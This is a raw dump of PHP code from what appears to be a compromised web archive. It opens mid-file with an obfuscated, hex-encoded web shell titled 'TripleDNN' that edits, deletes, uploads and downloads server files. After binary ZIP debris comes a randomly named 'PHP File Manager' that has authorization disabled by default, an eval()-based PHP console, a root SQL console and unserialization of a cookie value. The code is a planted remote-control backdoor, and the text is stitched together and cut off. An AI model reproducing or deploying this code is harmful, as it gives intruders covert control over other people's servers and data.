$alrBN[] = $qCHXQ; goto E4e2M; H7UDJ: if (is_dir($BjjAr . "\x2f" . $qCHXQ)) { goto JqJnu; } goto jS8gE; Re57M: } goto w9sbv; Wqcyl: foreach ($OZBDt as $qCHXQ) { goto CxSp8; yBzrj: echo "\74\164\144\x3e\xa\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\x3c\x61\x20\x68\162\x65\x66\x3d\42\77\144\x69\x72\75" . urlencode($BjjAr) . "\x26\145\144\x69\164\75" . urlencode($qCHXQ) . "\x22\76\x45\144\x69\x74\74\57\x61\76\x20\x7c\xa\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x3c\x61\40\x68\x72\x65\146\x3d\42\77\144\x69\x72\x3d" . urlencode($BjjAr) . "\x26\144\145\154\145\x74\145\75" . urlencode($qCHXQ) . "\42\76\104\145\154\145\x74\x65\74\57\x61\x3e\x20\x7c\12\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x3c\x61\x20\150\162\x65\x66\x3d\42\x3f\x64\x69\x72\75" . urlencode($BjjAr) . "\x26\x72\145\x6e\x61\x6d\145\x3d" . urlencode($qCHXQ) . "\42\76\x52\x65\156\141\155\145\x3c\x2f\x61\76\40\174\12\x20\x20\40\x20\x20\x20\40\40\40\40\40\x20\74\141\40\150\162\x65\146\x3d\x22\77\144\x69\x72\75" . urlencode($BjjAr) . "\x26\x64\157\167\156\x6c\x6f\x61\x64\75" . urlencode($qCHXQ) . "\x22\76\x44\x6f\167\x6e\x6c\157\141\x64\74\57\141\x3e\12\40\x20\x20\x20\x20\40\40\40\x3c\x2f\x74\144\x3e"; goto E2dfg; ns1qU: echo "\x3c\164\144\x3e" . $qCHXQ . "\x3c\57\x74\x64\76"; goto hRjG2; hRjG2: echo "\74\164\144\76" . filesize($BjjAr . "\57" . $qCHXQ) . "\x20\x62\x79\164\x65\163\74\57\x74\144\x3e"; goto yBzrj; E2dfg: echo "\74\57\164\x72\x3e"; goto VZyVa; VZyVa: T3jxc: goto OjSwZ; CxSp8: echo "\x3c\x74\162\x3e"; goto ns1qU; OjSwZ: } goto Tgrtz; TN_gP: $lWTTD = scandir($BjjAr); goto RRRN0; RRRN0: $alrBN = []; goto hU7wa; w9sbv: oHgOR: goto hcBGb; l7gGQ: } goto dzsDs; LjCqJ: header("\114\157\143\141\164\x69\x6f\x6e\x3a\x20\x3f\144\x69\x72\x3d" . urlencode($_GET["\x64\151\162"])); goto VdQ_5; pEOzW: dnHM_: goto vknfc; Qqd91: if (!isset($_GET["\x72\x65\156\141\x6d\x65"])) { goto uQM_b; } goto vu0qH; bLjBn: header("\x4c\157\x63\x61\x74\151\157\156\72\40\77\144\151\162\75" . urlencode($_GET["\x64\151\x72"])); goto hzrgv; w3XB_: move_uploaded_file($_FILES["\x66\151\x6c\x65"]["\x74\155\x70\x5f\x6e\141\x6d\x65"], $Od4Uh); goto LObF8; yzbBN: echo "\74\x2f\164\145\170\164\x61\162\145\141\76\xa\x20\40\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x3c\x62\162\76\12\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\74\x62\165\x74\x74\x6f\156\x20\164\x79\160\145\75\x22\163\165\142\155\x69\164\x22\40\156\x61\155\145\75\42\163\x61\166\x65\137\146\x69\x6c\x65\x22\76\123\141\166\145\x20\103\150\141\156\147\145\163\x3c\x2f\x62\165\164\164\x6f\x6e\76\xa\x20\x20\x20\40\x20\40\40\40\40\x20\40\40\74\x2f\x66\x6f\162\x6d\76\12\x20\40\40\40\40\x20\x20\40"; goto JtHSy; VOalH: uRI4C: goto WPoPN; pGAR0: $EHBNq = $yGbeW . "\x2f" . $_GET["\145\144\x69\164"]; goto ehhZj; Bu1BK: NU8jm: goto pEOzW; ADsYZ: if (!is_file($fd8bH)) { goto XvFkr; } goto p5in9; o5BT0: $CmNff = file_get_contents($EHBNq); goto beTnD; N59aw: $EpS2n = $yGbeW . "\57" . $t8kMD; goto IojpW; td6WN: header("\x43\x6f\x6e\164\145\156\164\x2d\114\145\x6e\147\164\x68\72\40" . filesize($J6ql8)); goto q7smT; lnCSt: file_put_contents($EHBNq, $XNNy9); goto LjCqJ; dNfEt: echo urlencode(dirname($yGbeW)); goto PyP6_; ZSiUM: exit; goto Bu1BK; ehhZj: if (!is_file($EHBNq)) { goto QYVs3; } goto o5BT0; MTOEP: echo "\xa\x3c\41\104\x4f\103\x54\131\120\x45\x20\x68\x74\155\x6c\76\xa\x3c\150\164\x6d\x6c\x3e\xa\x3c\x68\x65\x61\x64\76\xa\x20\x20\40\x20\x3c\164\x69\164\154\145\x3e\x54\162\151\x70\x6c\145\104\116\116\x3c\57\x74\151\x74\x6c\145\x3e\12\40\x20\x20\40\x3c\x73\x74\171\x6c\x65\x3e\12\40\40\40\x20\40\x20\x20\40\57\x2a\40\x53\164\171\x6c\151\156\147\x20\x64\145\x6e\x67\141\x6e\40\x74\145\x6d\141\x20\147\145\x6c\x61\160\40\x28\154\141\164\141\162\40\142\x65\x6c\x61\153\x61\156\147\x20\x68\x69\x74\x61\x6d\40\144\141\156\x20\164\145\153\163\40\164\x65\x72\x61\156\x67\x29\x20\x2a\57\xa\x20\x20\x20\40\40\x20\40\40\x62\157\x64\171\40\173\xa\40\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\142\141\143\x6b\147\162\x6f\x75\156\x64\55\143\x6f\154\157\162\72\40\43\x31\62\61\x32\x31\x32\x3b\xa\40\x20\40\x20\40\x20\40\40\40\x20\40\40\x63\157\x6c\157\x72\72\40\x23\x45\x30\x45\60\105\x30\73\xa\40\40\40\40\x20\x20\x20\x20\40\40\40\40\146\x6f\156\164\x2d\x66\141\x6d\x69\154\x79\72\x20\101\x72\x69\x61\x6c\54\40\163\141\156\x73\55\163\145\x72\151\x66\x3b\xa\40\40\x20\x20\x20\40\x20\x20\x7d\xa\40\x20\40\40\40\x20\x20\40\150\x32\x20\173\12\40\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x63\x6f\x6c\157\162\x3a\x20\x23\x42\x42\x38\x36\x46\x43\x3b\12\x20\x20\x20\x20\40\x20\40\40\x7d\xa\x20\40\40\40\x20\x20\40\40\x74\141\x62\x6c\x65\40\x7b\xa\40\40\40\x20\40\40\40\x20\x20\40\40\40\x77\151\x64\164\x68\x3a\40\x31\60\x30\45\73\xa\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\40\x62\157\x72\x64\145\162\x2d\143\x6f\x6c\x6c\x61\x70\x73\145\x3a\x20\x63\x6f\x6c\154\141\160\x73\x65\73\12\40\x20\x20\40\40\x20\40\40\x7d\12\40\40\x20\x20\x20\x20\40\x20\164\x68\54\40\164\x64\40\173\xa\x20\x20\40\40\x20\40\40\40\x20\x20\40\40\x70\141\x64\x64\x69\156\x67\72\x20\x31\60\160\x78\73\12\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x20\164\x65\170\x74\55\141\154\151\x67\156\x3a\x20\x6c\x65\146\164\x3b\xa\x20\40\x20\40\x20\x20\x20\40\x7d\xa\x20\x20\x20\40\40\x20\x20\x20\x74\x68\x20\173\xa\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\x62\141\x63\153\x67\x72\x6f\165\x6e\x64\x2d\143\157\x6c\x6f\x72\72\x20\43\x33\x33\63\x3b\12\x20\40\40\40\40\40\x20\x20\40\x20\40\x20\143\157\154\x6f\162\x3a\x20\x23\102\x42\x38\66\x46\x43\73\xa\40\40\40\x20\x20\40\x20\40\175\12\x20\x20\40\x20\x20\x20\40\40\x74\x72\x3a\x6e\x74\150\x2d\143\x68\151\x6c\144\50\145\x76\145\x6e\x29\x20\173\12\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\142\x61\143\153\x67\x72\x6f\165\156\144\55\143\157\154\157\162\72\x20\43\62\62\62\x3b\xa\40\40\40\x20\40\40\40\x20\x7d\xa\40\x20\40\x20\x20\x20\x20\x20\x74\x72\x3a\156\164\150\x2d\x63\x68\151\x6c\144\50\157\x64\x64\51\x20\x7b\xa\40\40\40\x20\40\40\x20\x20\40\40\40\x20\x62\141\x63\153\x67\x72\157\165\156\x64\x2d\143\x6f\x6c\x6f\162\72\x20\x23\x31\x32\x31\x32\x31\62\x3b\12\40\x20\40\x20\x20\x20\40\40\x7d\xa\40\x20\40\x20\x20\40\40\x20\x61\40\173\xa\x20\40\40\40\40\x20\x20\40\40\x20\40\40\x63\157\154\x6f\162\72\40\x23\60\63\x44\x41\x43\x36\x3b\xa\40\40\40\40\x20\40\40\x20\x20\40\40\40\164\x65\x78\x74\55\144\x65\143\157\x72\141\x74\151\157\156\72\40\156\x6f\156\x65\73\xa\40\x20\40\40\40\x20\x20\x20\x7d\12\40\40\x20\40\x20\40\x20\x20\141\72\x68\157\166\x65\162\x20\x7b\12\x20\40\40\40\x20\40\x20\40\40\40\40\40\143\x6f\x6c\x6f\x72\x3a\40\x23\102\x42\x38\x36\x46\103\73\xa\40\x20\x20\x20\x20\40\40\x20\x7d\12\40\x20\x20\x20\40\x20\x20\40\x62\x75\x74\x74\x6f\156\40\x7b\xa\40\x20\40\40\x20\x20\x20\40\40\40\40\40\142\x61\143\153\x67\162\157\x75\x6e\x64\55\143\x6f\x6c\157\162\x3a\40\x23\60\63\104\x41\103\66\73\12\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\143\x6f\154\x6f\162\72\40\43\61\62\x31\x32\x31\62\x3b\12\40\40\40\40\40\40\x20\x20\40\40\40\40\142\157\x72\x64\x65\x72\x3a\40\156\157\156\x65\73\xa\40\40\x20\40\40\40\x20\40\x20\40\40\x20\x70\141\x64\144\x69\x6e\x67\72\x20\x31\60\160\170\40\x32\60\160\170\73\xa\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\143\165\x72\x73\x6f\162\72\40\x70\x6f\151\x6e\x74\145\162\x3b\12\40\x20\40\40\x20\40\40\x20\175\12\x20\40\x20\x20\x20\x20\40\40\142\165\x74\164\x6f\156\x3a\150\x6f\166\x65\x72\x20\x7b\xa\40\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x62\141\143\x6b\147\x72\x6f\165\x6e\144\x2d\x63\157\154\157\x72\x3a\x20\x23\x42\102\70\66\106\103\73\12\x20\40\x20\40\40\x20\40\x20\175\12\40\40\40\x20\40\40\40\x20\164\x65\170\x74\x61\162\145\x61\40\x7b\xa\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\x77\151\x64\164\x68\x3a\40\61\x30\x30\x25\73\12\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x68\145\151\x67\x68\x74\x3a\x20\x34\60\60\x70\170\x3b\12\x20\x20\40\40\40\x20\x20\x20\40\40\40\40\142\141\x63\x6b\147\x72\x6f\x75\x6e\144\x2d\143\157\154\x6f\x72\x3a\40\43\62\62\62\73\12\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\143\157\x6c\x6f\x72\x3a\x20\x23\x45\60\x45\x30\105\x30\x3b\12\40\40\x20\40\40\40\40\x20\40\x20\40\40\142\157\162\x64\145\162\x3a\40\61\160\170\x20\163\157\154\151\144\x20\x23\102\x42\x38\x36\106\x43\73\xa\x20\x20\40\40\x20\40\40\x20\175\xa\x20\40\40\x20\40\x20\40\x20\x69\156\160\165\x74\x5b\x74\x79\160\x65\75\42\146\151\x6c\145\42\135\54\40\x69\x6e\160\165\x74\133\x74\x79\x70\x65\x3d\42\x74\145\x78\164\x22\x5d\x20\x7b\xa\x20\40\40\40\x20\x20\40\x20\x20\40\40\40\143\x6f\x6c\157\x72\72\x20\43\x45\60\x45\x30\105\60\x3b\xa\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\x62\x61\x63\x6b\x67\162\x6f\x75\156\144\x2d\143\x6f\154\x6f\162\72\x20\x23\x32\62\x32\x3b\xa\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x62\x6f\x72\144\145\x72\x3a\x20\61\160\x78\x20\163\157\x6c\151\x64\40\x23\x42\x42\x38\x36\x46\x43\x3b\12\x20\x20\x20\40\40\40\x20\x20\40\40\x20\x20\160\141\x64\x64\151\x6e\x67\x3a\40\61\x30\x70\170\x3b\xa\40\x20\x20\x20\x20\40\40\40\x7d\12\40\40\40\x20\40\40\40\40\x2e\x66\157\x72\155\55\x63\x6f\156\164\141\151\156\145\x72\x20\173\12\x20\x20\40\x20\40\x20\40\40\x20\x20\40\40\x64\151\x73\x70\154\141\x79\72\40\146\x6c\145\x78\73\xa\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\152\x75\163\x74\x69\x66\x79\x2d\143\157\156\x74\x65\x6e\x74\72\40\x73\160\141\143\x65\x2d\142\145\164\x77\x65\x65\156\73\xa\40\x20\40\40\40\40\40\x20\x20\40\40\x20\155\x61\162\x67\151\156\x2d\142\x6f\164\x74\157\155\x3a\x20\62\60\160\x78\73\xa\40\x20\40\40\x20\40\40\40\175\12\x20\40\40\x20\x20\x20\40\40\56\146\157\x72\155\55\143\157\x6e\x74\x61\151\x6e\x65\162\40\146\157\162\x6d\x20\x7b\12\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\155\141\x72\147\151\156\x2d\162\151\x67\150\164\x3a\40\61\x30\x70\170\73\xa\40\40\40\x20\40\40\x20\40\175\12\40\40\x20\40\74\57\x73\164\x79\154\x65\x3e\xa\74\57\x68\x65\x61\144\x3e\xa\x3c\x62\157\x64\171\x3e\12\40\40\x20\40\x3c\x70\x3e\103\x75\x72\162\x65\156\x74\40\x44\x69\162\145\143\x74\157\162\x79\72\40\74\x61\x20\x68\x72\x65\146\75\42\x3f\x64\151\162\75"; goto dNfEt; VaCVK: F00ue($yGbeW); goto kgUpB; VdQ_5: gEelU: goto vnywD; vu0qH: echo "\40\x20\40\x20\74\146\157\162\x6d\40\x6d\x65\164\x68\157\x64\75\42\x70\157\x73\x74\42\x3e\12\x20\x20\x20\40\40\40\40\40\x3c\x69\156\x70\x75\x74\x20\164\x79\x70\x65\75\42\x68\151\144\x64\145\156\42\x20\156\x61\155\145\75\42\x6f\x6c\144\137\x6e\x61\155\x65\42\x20\166\141\154\165\x65\x3d\42"; goto eM5JY; WbFfl: YWvXO: goto JERaO; IojpW: file_put_contents($EpS2n, ''); goto bLjBn; D1Wgl: uQM_b: goto fI_fT; TG6KR: $Od4Uh = $yGbeW . "\x2f" . basename($_FILES["\146\x69\154\x65"]["\x6e\x61\155\x65"]); goto w3XB_; hzrgv: Tz80I: goto MTOEP; LIdpC: if (!isset($_GET["\145\x64\151\164"])) { goto V5DrG; } goto pGAR0; vnywD: if (!isset($_POST["\x63\x72\145\141\x74\145\x5f\x66\151\x6c\x65"])) { goto Tz80I; } goto uDpFH; VEyk9: $fd8bH = $yGbeW . "\x2f" . $_GET["\144\x65\154\145\164\x65"]; goto ADsYZ; JtHSy: QYVs3: goto vTVYv; hD3PH: if (!isset($_POST["\x75\160\154\157\x61\144"])) { goto zOaYm; } goto TG6KR; kgUpB: echo "\40\40\x20\x20\x20\40\40\40\x3c\x2f\x74\142\157\x64\x79\x3e\xa\40\x20\x20\x20\74\57\164\141\142\x6c\145\76\12\12\x20\40\x20\40\x3c\41\x2d\55\x20\106\x6f\162\x6d\x20\x75\x6e\x74\x75\153\40\162\x65\x6e\x61\x6d\145\x20\146\x69\x6c\145\40\55\55\x3e\12\40\x20\x20\40"; goto Qqd91; fII2j: echo htmlspecialchars($CmNff); goto yzbBN; JuNBA: echo "\x3c\x2f\142\x6f\x64\171\x3e\12\x3c\57\x68\164\155\154\76";PK :Jm\�0a�n� n� ihmkq.phpnu �[��� <?php
/**
* PHP File Manager
* A complete web-based file management solution
*/
// =============================================
// CONFIGURATION SECTION
// =============================================
// Basic Configuration
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$fm_version = '2.0';
// Supported Languages
$langs = array('en', 'ru', 'de', 'fr', 'ja', 'uk');
$default_language = 'en';
$detect_lang = true;
// Path Configuration
$path = empty($_REQUEST['path']) ? realpath('.') : realpath($_REQUEST['path']);
if (!$path) $path = realpath('.');
$path = str_replace('\\', '/', $path) . '/';
$main_path = str_replace('\\', '/', realpath('./'));
// PHP Version Check
$phar_maybe = (version_compare(phpversion(), "5.3.0", "<")) ? true : false;
// Message Container
$msg = '';
// =============================================
// AUTHORIZATION CONFIGURATION
// =============================================
$authorization = '{
"authorize": 0,
"days_authorization": 30,
"login": "admin",
"password": "phpfm",
"cookie_name": "fm_user",
"script": ""
}';
$auth = json_decode($authorization, true);
// =============================================
// TRANSLATION SYSTEM
// =============================================
$translation = '{
"id": "en",
"File manager": "File Manager",
"Login": "Login",
"Password": "Password",
"Enter": "Enter",
"Language": "Language",
"English": "English",
"German": "German",
"Russian": "Russian",
"French": "French",
"Ukrainian": "Ukrainian",
"Settings": "Settings",
"done": "done",
"Error occurred": "Error occurred",
"File updated": "File updated",
"Back": "Back",
"Edit": "Edit",
"Submit": "Submit",
"Cancel": "Cancel",
"Rights": "Permissions",
"Recursively": "Recursively",
"Rename": "Rename",
"Files uploaded": "Files uploaded",
"Deleted": "Deleted",
"Created": "Created",
"Make directory": "Create Directory",
"New file": "New File",
"Select the file": "Select the file",
"Upload": "Upload",
"Hello": "Hello",
"Quit": "Logout",
"Filename": "Filename",
"Size": "Size",
"Date": "Date",
"Manage": "Manage",
"Show": "Show",
"Download": "Download",
"Delete": "Delete",
"Are you sure you want to delete this directory (recursively)?": "Are you sure you want to delete this directory (recursively)?",
"Are you sure you want to delete this file?": "Are you sure you want to delete this file?",
"File selected": "File selected",
"Compress": "Compress",
"Archiving": "Archiving",
"Task": "Task",
"Reset settings": "Reset Settings",
"Cookie": "Cookie",
"Days": "Days",
"Script": "Script",
"Save": "Save",
"Add": "Add",
"Name": "Name",
"Value": "Value",
"templates": "templates",
"Console": "Console",
"Result": "Result",
"Reset": "Reset",
"Select": "Select",
"Template": "Template",
"Home": "Home",
"Generation time": "Generation time",
"Recursive search": "Recursive search",
"Mask": "Mask",
"Search": "Search",
"Found in files": "Found in files",
"Nothing founded": "Nothing found",
"No file": "No file",
"to": "to",
"Archive": "Archive",
"Mode is incorrect": "Mode is incorrect",
"Directory is not readable": "Directory is not readable",
"File already exists": "File already exists",
"as folder": "as folder",
"Cannot create directory": "Cannot create directory",
"Cannot write to file": "Cannot write to file",
"Size of file": "Size of file",
"is incorrect": "is incorrect",
"Invalid file descriptor": "Invalid file descriptor",
"is not readable": "is not readable",
"Cannot rename": "Cannot rename",
"Error": "Error",
"Authorization": "Authorization",
"Restore file time after editing": "Restore file time after editing",
"Show size of the folder": "Show folder size",
"Show pictures": "Show images",
"Show PHP version": "Show PHP version",
"Show PHP ini": "Show PHP configuration",
"Show generation time": "Show generation time",
"Show PHP Console": "Show PHP Console",
"Show SQL Console": "Show SQL Console",
"Show Proxy": "Show Proxy",
"Show xls": "Show Excel export",
"Decompress": "Decompress",
"no files": "no files",
"Success": "Success"
}';
$lang = json_decode($translation, true);
// =============================================
// DEFAULT CONFIGURATION
// =============================================
$fm_default_config = array(
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false,
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false,
'show_gt' => true,
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => false,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
// Load user configuration
if (empty($_COOKIE['fm_config'])) {
$fm_config = $fm_default_config;
} else {
$fm_config = unserialize($_COOKIE['fm_config']);
if (!is_array($fm_config)) {
$fm_config = $fm_default_config;
}
}
// =============================================
// LANGUAGE DETECTION
// =============================================
// Change language from POST
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) {
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)) {
foreach ($lang_priority as $lang_arr) {
$lng = explode(';', $lang_arr);
$lng = substr($lng[0], 0, 2);
if (in_array($lng, $langs)) {
$language = $lng;
break;
}
}
}
}
// Use cookie language if set
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// =============================================
// CORE FUNCTIONS
// =============================================
/**
* Translation function
*/
function __($text) {
global $lang;
return isset($lang[$text]) ? $lang[$text] : $text;
}
/**
* Delete files and directories recursively
*/
function fm_del_files($file, $recursive = false) {
if ($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if ($el != '.' && $el != '..') {
fm_del_files($file . '/' . $el, true);
}
}
}
if (@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
/**
* Get file permissions string
*/
function fm_rights_string($file, $if = false) {
$perms = fileperms($file);
$info = '';
if (!$if) {
if (($perms & 0xC000) == 0xC000) {
$info = 's'; // Socket
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'l'; // Symbolic Link
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-'; // Regular
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b'; // Block special
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd'; // Directory
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c'; // Character special
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p'; // FIFO pipe
} else {
$info = 'u'; // Unknown
}
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
/**
* Convert rights string to octal
*/
function fm_convert_rights($mode) {
$mode = str_pad($mode, 9, '-');
$trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1');
$mode = strtr($mode, $trans);
$newmode = '0';
$owner = (int)$mode[0] + (int)$mode[1] + (int)$mode[2];
$group = (int)$mode[3] + (int)$mode[4] + (int)$mode[5];
$world = (int)$mode[6] + (int)$mode[7] + (int)$mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
/**
* Change file permissions
*/
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if (@is_dir($file) && $rec) {
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
/**
* Download file
*/
function fm_download($file_name) {
if (!empty($file_name) && file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/octet-stream");
header("Content-Length: " . filesize($file_name));
readfile($file_name);
exit;
} else {
header('HTTP/1.0 404 Not Found', true, 404);
exit;
}
}
/**
* Calculate directory size
*/
function fm_dir_size($f, $format = true) {
if (is_file($f)) {
$size = filesize($f);
} else {
$size = 0;
$dh = opendir($f);
while (($file = readdir($dh)) !== false) {
if ($file == '.' || $file == '..') continue;
$filepath = $f . '/' . $file;
$size += is_file($filepath) ? filesize($filepath) : fm_dir_size($filepath, false);
}
closedir($dh);
}
if (!$format) return $size;
if ($size == 0) return '0 bytes';
$units = array('bytes', 'KB', 'MB', 'GB', 'TB');
$i = floor(log($size, 1024));
return round($size / pow(1024, $i), 2) . ' ' . $units[$i];
}
/**
* Scan directory
*/
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = array();
if (!empty($exp)) {
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if (!empty($type) && $type !== 'all') {
$func = 'is_' . $type;
}
if (@is_dir($directory)) {
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if (substr($filename, 0, 1) != '.' || $do_not_filter) {
if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) &&
(empty($exp) || preg_match($exp, $filename))) {
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
/**
* Create navigation link
*/
function fm_link($get, $link, $name, $title = '') {
if (empty($title)) $title = $name . ' ' . basename($link);
return ' <a href="?' . $get . '=' . base64_encode($link) . '" title="' . $title . '">' . $name . '</a>';
}
/**
* Language selection form
*/
function fm_lang_form($current = 'en') {
$languages = array(
'en' => __('English'),
'de' => __('German'),
'ru' => __('Russian'),
'fr' => __('French'),
'uk' => __('Ukrainian')
);
$options = '';
foreach ($languages as $code => $name) {
$selected = ($current == $code) ? 'selected="selected"' : '';
$options .= '<option value="' . $code . '" ' . $selected . '>' . $name . '</option>';
}
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="' . __('Language') . '" onchange="this.form.submit()">
' . $options . '
</select>
</form>';
}
/**
* Check if directory is root
*/
function fm_root($dirname) {
return ($dirname == '.' || $dirname == '..');
}
/**
* Execute PHP code
*/
function fm_php($string) {
$display_errors = ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
/**
* SQL Connection
*/
function fm_sql_connect() {
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
/**
* Execute SQL query
*/
function fm_sql($query) {
$connection = fm_sql_connect();
if ($connection->connect_error) {
return $connection->connect_error;
}
$connection->set_charset('utf8');
$result = $connection->query($query);
if ($result === false) {
return mysqli_error($connection);
}
$output = '';
if ($result instanceof mysqli_result) {
$output .= '<table border="1" cellpadding="4" cellspacing="0">';
$first = true;
while ($row = $result->fetch_assoc()) {
if ($first) {
$output .= '<tr>';
foreach (array_keys($row) as $key) {
$output .= '<th>' . htmlspecialchars($key) . '</th>';
}
$output .= '</tr>';
$first = false;
}
$output .= '<tr>';
foreach ($row as $value) {
$output .= '<td>' . htmlspecialchars($value) . '</td>';
}
$output .= '</tr>';
}
$output .= '</table>';
$result->free();
} else {
$output = __('Query executed successfully');
}
$connection->close();
return $output;
}
/**
* Get image link
*/
function fm_img_link($filename) {
return './' . basename(__FILE__) . '?img=' . base64_encode($filename);
}
/**
* Home button style
*/
function fm_home_style() {
return '
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAdgAAAHYBTnsmCAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFYSURBVDiNpZM9SwNBEIafg4iFhY2N2FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFjY2Ih/YGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWHxX+zu3eY0kA8vszO7O/PO7M4q/keU/6vUfQ1AKaUBWoA2YAA4gA/gBXi11l5lBpRSOgA9wCgwDgwC3UAn0A40A1XgG3gC7oBL4Nxae5sCaK31gCFgCpgFJoA+oA1oARqBBkADv4ACvoBH4AY4A46stZcOoLXWAkaAeWABmAR6gVagCWhQShml1K9S6gdQgAJegGvgBDiw1l44gNZaD5gBloB5YALoAdqAJqWUVkr9KKW0UsoopX6VUt/AM3ALnAL71tpzB9Ba6wPzwAqwCIwD3UAr0KyU0kqpL6WUVkr9KKW+HIgH4Ao4BPastRcOoLXWBxaBVWABGAO6gBagUSn0opT6UEp9KKU+lFIfSqkP4AW4A06APWvtuQNorQ2AJWAVmANGgS6gBWhUSn0opd6VUu9KqXel1LtS6g14BW6BE2DPWnvmAFprA2AZWAPmgFGgE2gGGpRS70qpd6XUm1LqTSn1ppR6A96AO+AE2LXWnjmA1toAWAHWgTlgBOgAmoAGpdSbUupNKfWqlHpVSr0qpd6Bd+AOOAZ2rbVnDvAHs5xZ3Cz7j5AAAAAASUVORK5CYII=");
background-repeat: no-repeat;
display: inline-block;
width: 16px;
height: 16px;
vertical-align: middle;
}';
}
/**
* Get site URL
*/
function fm_site_url() {
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https" : "http";
return $protocol . "://" . $_SERVER['HTTP_HOST'];
}
/**
* Get file manager URL
*/
function fm_url($full = false) {
$host = $full ? fm_site_url() : '.';
return $host . '/' . basename(__FILE__);
}
/**
* Home link
*/
function fm_home($full = false) {
return ' <a href="' . fm_url($full) . '" title="' . __('Home') . '"><span class="home"></span></a>';
}
// =============================================
// AUTHORIZATION CHECK
// =============================================
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])) {
if ($_POST['login'] == $auth['login'] && $_POST['password'] == $auth['password']) {
setcookie($auth['cookie_name'], $auth['login'] . '|' . md5($auth['password']), time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']] = $auth['login'] . '|' . md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) || $_COOKIE[$auth['cookie_name']] != $auth['login'] . '|' . md5($auth['password'])) {
echo '<!DOCTYPE html>
